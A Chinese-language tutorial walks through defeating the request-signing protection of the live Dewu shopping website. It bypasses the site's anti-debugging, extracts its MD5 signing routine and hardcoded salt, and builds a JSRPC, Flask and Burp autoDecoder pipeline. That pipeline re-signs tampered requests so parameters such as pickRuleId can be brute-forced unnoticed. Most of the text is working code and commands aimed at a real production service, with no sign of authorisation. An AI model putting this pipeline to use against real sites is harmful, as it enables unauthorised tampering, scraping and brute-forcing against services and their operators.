【JS逆向】某物官网实战-签名对抗
分析dewu官网的sign签名逻辑,并通过JSRPC+Flask+autoDecoder进行对抗,实现无感渗透
链接
aHR0cHM6Ly93d3cuZGV3dS5jb20v
debugger反调试对抗
1、打开开发者工具发现存在无限debugger反调试
对抗方式1:修改成手机预览发现绕过了debugger
对抗方式2:使用AntiDebug_Breaker的Bypass Debugger功能绕过成功
加密逻辑分析
1、点击上方的分类栏,查看/api/v1/h5/commodity-pick-interfaces/pc/pick-rule-result/feeds/info请求发现其请求体中存在sign字段为签名
2、全局搜索sign,发现存在sign: p(t)将sign值复制为p(t)
3、将此处打上断点
4、点击分类栏触发请求,发现断点停在了如下位置,且p(t)为sign的值,p()为签名生成算法
return function(e, t, n) {
var r = Object(u.a)({
sign: p(t)
}, t);
return y.POST(e, Object(u.a)({}, y.defaultConfig, n, {
body: o()(r)
})).then(function(e) {
return !e || 200 !== e.code && 200 !== e.status ? a.a.reject(e) : e
})
}5、控制台输出t的值,发现其值为对象,且为请求的其他参数
{
"pickRuleId": 644443,
"pageNum": 1,
"pageSize": 24,
"filterUnbid": true,
"showCspu": true
}
6、点击跳转至p()方法
7、发现其通过调用将t参数传入p(e)通过f()生成请求的签名sign,并且还发现其加密的密钥编码在其中
function p(e) {
return f()("".concat(e ? s()(e).sort().reduce(function(t, n) {
return "".concat(t).concat(n).concat(e[n])
}, "") : "", "048a9c4943398714b356a696503d2d36"))
}
8、在此处打上断点
10、进入查看f()方法
11、发现f()中将输入数据 e和配置 n传递给一个名为 a的核心函数进行处理,即 a(e, n)
e.exports = function(e, n) {
if (void 0 === e || null === e)
throw new Error("Illegal argument " + e);
var r = t.wordsToBytes(a(e, n));
return n && n.asBytes ? r : n && n.asString ? i.bytesToString(r) : t.bytesToHex(r)
}
12、在a()方法下方打上断点,并调试到此处
13、跟进进入a()方法
14、发现其为 MD5 哈希算法的 JavaScript 实现函数。它接受一个输入 e并计算其 MD5 哈希值,最终输出哈希值
a = function(e, n) {
e.constructor == String ? e = n && "binary" === n.encoding ? i.stringToBytes(e) : r.stringToBytes(e) : o(e) ? e = Array.prototype.slice.call(e, 0) : Array.isArray(e) || (e = e.toString());
for (var u = t.bytesToWords(e), l = 8 * e.length, s = 1732584193, c = -271733879, f = -1732584194, p = 271733878, d = 0; d < u.length; d++)
u[d] = 16711935 & (u[d] << 8 | u[d] >>> 24) | 4278255360 & (u[d] << 24 | u[d] >>> 8);
u[l >>> 5] |= 128 << l % 32,
u[14 + (l + 64 >>> 9 << 4)] = l;
var h = a._ff
, v = a._gg
, m = a._hh
, y = a._ii;
for (d = 0; d < u.length; d += 16) {
var g = s
, b = c
, w = f
, x = p;
s = h(s, c, f, p, u[d + 0], 7, -680876936),
p = h(p, s, c, f, u[d + 1], 12, -389564586),
f = h(f, p, s, c, u[d + 2], 17, 606105819),
c = h(c, f, p, s, u[d + 3], 22, -1044525330),
s = h(s, c, f, p, u[d + 4], 7, -176418897),
p = h(p, s, c, f, u[d + 5], 12, 1200080426),
f = h(f, p, s, c, u[d + 6], 17, -1473231341),
c = h(c, f, p, s, u[d + 7], 22, -45705983),
s = h(s, c, f, p, u[d + 8], 7, 1770035416),
p = h(p, s, c, f, u[d + 9], 12, -1958414417),
f = h(f, p, s, c, u[d + 10], 17, -42063),
c = h(c, f, p, s, u[d + 11], 22, -1990404162),
s = h(s, c, f, p, u[d + 12], 7, 1804603682),
p = h(p, s, c, f, u[d + 13], 12, -40341101),
f = h(f, p, s, c, u[d + 14], 17, -1502002290),
s = v(s, c = h(c, f, p, s, u[d + 15], 22, 1236535329), f, p, u[d + 1], 5, -165796510),
p = v(p, s, c, f, u[d + 6], 9, -1069501632),
f = v(f, p, s, c, u[d + 11], 14, 643717713),
c = v(c, f, p, s, u[d + 0], 20, -373897302),
s = v(s, c, f, p, u[d + 5], 5, -701558691),
p = v(p, s, c, f, u[d + 10], 9, 38016083),
f = v(f, p, s, c, u[d + 15], 14, -660478335),
c = v(c, f, p, s, u[d + 4], 20, -405537848),
s = v(s, c, f, p, u[d + 9], 5, 568446438),
p = v(p, s, c, f, u[d + 14], 9, -1019803690),
f = v(f, p, s, c, u[d + 3], 14, -187363961),
c = v(c, f, p, s, u[d + 8], 20, 1163531501),
s = v(s, c, f, p, u[d + 13], 5, -1444681467),
p = v(p, s, c, f, u[d + 2], 9, -51403784),
f = v(f, p, s, c, u[d + 7], 14, 1735328473),
s = m(s, c = v(c, f, p, s, u[d + 12], 20, -1926607734), f, p, u[d + 5], 4, -378558),
p = m(p, s, c, f, u[d + 8], 11, -2022574463),
f = m(f, p, s, c, u[d + 11], 16, 1839030562),
c = m(c, f, p, s, u[d + 14], 23, -35309556),
s = m(s, c, f, p, u[d + 1], 4, -1530992060),
p = m(p, s, c, f, u[d + 4], 11, 1272893353),
f = m(f, p, s, c, u[d + 7], 16, -155497632),
c = m(c, f, p, s, u[d + 10], 23, -1094730640),
s = m(s, c, f, p, u[d + 13], 4, 681279174),
p = m(p, s, c, f, u[d + 0], 11, -358537222),
f = m(f, p, s, c, u[d + 3], 16, -722521979),
c = m(c, f, p, s, u[d + 6], 23, 76029189),
s = m(s, c, f, p, u[d + 9], 4, -640364487),
p = m(p, s, c, f, u[d + 12], 11, -421815835),
f = m(f, p, s, c, u[d + 15], 16, 530742520),
s = y(s, c = m(c, f, p, s, u[d + 2], 23, -995338651), f, p, u[d + 0], 6, -198630844),
p = y(p, s, c, f, u[d + 7], 10, 1126891415),
f = y(f, p, s, c, u[d + 14], 15, -1416354905),
c = y(c, f, p, s, u[d + 5], 21, -57434055),
s = y(s, c, f, p, u[d + 12], 6, 1700485571),
p = y(p, s, c, f, u[d + 3], 10, -1894986606),
f = y(f, p, s, c, u[d + 10], 15, -1051523),
c = y(c, f, p, s, u[d + 1], 21, -2054922799),
s = y(s, c, f, p, u[d + 8], 6, 1873313359),
p = y(p, s, c, f, u[d + 15], 10, -30611744),
f = y(f, p, s, c, u[d + 6], 15, -1560198380),
c = y(c, f, p, s, u[d + 13], 21, 1309151649),
s = y(s, c, f, p, u[d + 4], 6, -145523070),
p = y(p, s, c, f, u[d + 11], 10, -1120210379),
f = y(f, p, s, c, u[d + 2], 15, 718787259),
c = y(c, f, p, s, u[d + 9], 21, -343485551),
s = s + g >>> 0,
c = c + b >>> 0,
f = f + w >>> 0,
p = p + x >>> 0
}
return t.endian([s, c, f, p])
};对抗过程
JSRPC+Flask+autoDecoder原理
见如下图
实现过程
1、注入JSRpc客户端:在浏览器开发者工具的Console中,执行JSRpc项目中的 JsEnv_Dev.js文件内容。
2、将签名暴露到全局:在原始签名函数所在的作用域中,执行以下代码将 p 函数暴露到全局
window.signFunction = p;
3、注册签名函数:继续在Console中执行以下代码,将签名函数 p(e)注册为JSRpc的一个可调用动作
// 1. 创建JSRpc客户端连接,group名称可自定义,如"dewu"
var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=dewu&name=burp");
// 2. 注册一个名为"generate_sign"的远程调用方法
demo.regAction("generate_sign", function(resolve, param) {
try {
// 使用全局的签名函数
if (typeof window.signFunction !== 'function') {
throw new Error("签名函数未定义");
}
// 直接调用全局签名函数
var signature = window.signFunction(param);
console.log("生成的签名:", signature);
resolve(signature);
} catch (error) {
console.error("签名生成错误:", error);
resolve("ERROR_" + Date.now());
}
});
4、测试调用
http://127.0.0.1:12080/go?group=dewu&action=generate_sign¶m={"pickRuleId":644479,"pageNum":1,"pageSize":24,"filterUnbid":true,"showCspu":true}
5、编写Flask中间件应用,负责接收Burp的请求,调用JSRpc获取签名,并重构请求
from flask import Flask, request, jsonify
import requests
import json
import logging
logging.basicConfig(level=logging.DEBUG)
app = Flask(__name__)
@app.route('/encode', methods=['POST'])
def handle_encode():
app.logger.info("--- 收到来自Burp/autoDecoder的编码请求 ---")
# 关键:获取autoDecoder发送的数据
# autoDecoder默认以表单格式发送,使用 'dataBody' 和 'dataHeaders' 作为键
data_body = request.form.get('dataBody', '')
data_headers = request.form.get('dataHeaders', '')
app.logger.debug(f"原始请求头 (dataHeaders): {data_headers}")
app.logger.debug(f"原始请求体 (dataBody): {data_body}")
# 检查是否收到数据
if not data_body:
app.logger.error("未接收到 dataBody,请求可能为空或格式不正确")
# 返回原始数据,避免破坏请求
return data_headers + "\r\n\r\n\r\n\r\n" + data_body if data_headers else data_body
try:
# 解析JSON请求体
json_data = json.loads(data_body)
app.logger.info("成功解析JSON数据")
except json.JSONDecodeError as e:
app.logger.error(f"解析JSON失败: {e}")
# 解析失败时返回原始数据
return data_headers + "\r\n\r\n\r\n\r\n" + data_body if data_headers else data_body
# 移除旧的sign,准备生成新签名
old_sign = json_data.pop('sign', 'None')
app.logger.info(f"已移除旧签名: {old_sign}")
# 准备调用JSRPC生成新签名
params_for_jsrpc = {
"group": "dewu",
"action": "generate_sign",
"param": json.dumps(json_data, ensure_ascii=False, separators=(',', ':')) # 紧凑格式
}
app.logger.debug(f"发送给JSRPC的参数: {params_for_jsrpc}")
# 调用JSRPC服务
try:
jsrpc_response = requests.get("http://127.0.0.1:12080/go", params=params_for_jsrpc, timeout=5)
jsrpc_response.raise_for_status()
result = jsrpc_response.json()
new_sign = result.get('data', '')
app.logger.info(f"JSRPC返回的新签名: {new_sign}")
if not new_sign:
app.logger.error("JSRPC返回的签名数据为空")
new_sign = ""
except requests.exceptions.RequestException as e:
app.logger.error(f"调用JSRPC服务失败: {e}")
new_sign = ""
except json.JSONDecodeError as e:
app.logger.error(f"解析JSRPC返回的JSON失败: {e}")
new_sign = ""
# 将新签名添加回请求体
json_data['sign'] = new_sign
new_data_body = json.dumps(json_data, ensure_ascii=False, separators=(',', ':'))
app.logger.debug(f"生成的新请求体: {new_data_body}")
# 构建返回给autoDecoder的数据
if data_headers:
# 如果存在请求头,需要更新Content-Length
new_content_length = len(new_data_body)
new_headers = data_headers.replace(f"Content-Length: {len(data_body)}", f"Content-Length: {new_content_length}")
final_output = new_headers + "\r\n\r\n\r\n\r\n" + new_data_body
else:
final_output = new_data_body
app.logger.info("--- 编码处理完成,返回数据给Burp ---")
return final_output
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888, debug=True)6、保存代码为 app.py并用Python运行:python app.py
7、测试Flask
curl -X POST http://127.0.0.1:8888/encode \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "dataBody={\"pickRuleId\":644479,\"pageNum\":1,\"pageSize\":24,\"filterUnbid\":true,\"showCspu\":true,\"sign\":\"testsign\"}&dataHeaders=$headers"
8、配置autoDecoder 加密接口
9、保存配置后抓包
10、爆破pickRuleId检验是否自动生成签名
成功自动生成签名
工具项目地址
AntiDebug_Breaker:https://github.com/0xsdeo/AntiDebug_BreakerJsRpc:https://github.com/jxhczhl/JsRpcautoDecoder:https://github.com/f0ng/autoDecoder

1